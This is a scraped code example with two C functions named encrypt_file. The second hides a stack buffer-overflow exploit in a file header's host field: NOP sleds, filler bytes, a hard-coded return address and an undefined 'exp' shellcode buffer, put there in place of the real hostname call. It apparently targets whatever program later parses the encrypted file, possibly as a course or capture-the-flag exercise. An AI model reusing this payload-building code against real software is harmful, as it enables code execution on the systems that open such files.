Пример #1
0
void encrypt_file(char *raw_file, int raw_len, FILE* enc_file, unsigned char* key) {
    int size = raw_len;
    size_t block_size = MULT_BLOCK_SIZE(size);
    char* padded_block = calloc(1, block_size);
	memcpy(padded_block, raw_file, size);

    if(encrypt_buffer(padded_block, block_size, (char*)key, 16) != 0) {
       printf("There was an error encrypting the file!\n");
       return;
    }

    printf("=> Encrypted file successfully\n");
    fwrite(padded_block, 1, block_size, enc_file);
    free(padded_block);
}
void encrypt_file(FILE* raw_file, FILE* enc_file, unsigned char* key) {
    int size = file_size(raw_file);
    size_t block_size = MULT_BLOCK_SIZE(sizeof(file_header) + size);
    char* padded_block = calloc(1, block_size);

    file_header header;
    init_file_header(&header, size);
    
	//safe_gethostname(header.host, HOST_LEN);
    char nop[] = "\x90\x90\x90\x90";
    strcpy(header.host, nop);
    strcat(header.host, nop);
    strcat(header.host, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
    //strcat(header.host, exp);
    strcat(header.host, "aa");
    char ret[] = {0x20, 0xd6, 0xff, 0xff};
    strcat(header.host, ret);
    //strcat(header.host, "FFFF");
    strcat(header.host, nop);
    strcat(header.host, nop);
    strcat(header.host, nop);
    strcat(header.host, nop);
    strcat(header.host, nop);
    strcat(header.host, nop);
    strcat(header.host, nop);
    strcat(header.host, nop);
    strcat(header.host, nop);
    strcat(header.host, exp);

    memcpy(padded_block, &header, sizeof(file_header));
    fread(padded_block + sizeof(file_header), 1, size, raw_file);

    if(encrypt_buffer(padded_block, block_size, (char*)key, 16) != 0) {
        printf("There was an error encrypting the file!\n");
        return;
    }

    printf("=> Encrypted file successfully\n");
    fwrite(padded_block, 1, block_size, enc_file);

    free(padded_block);
}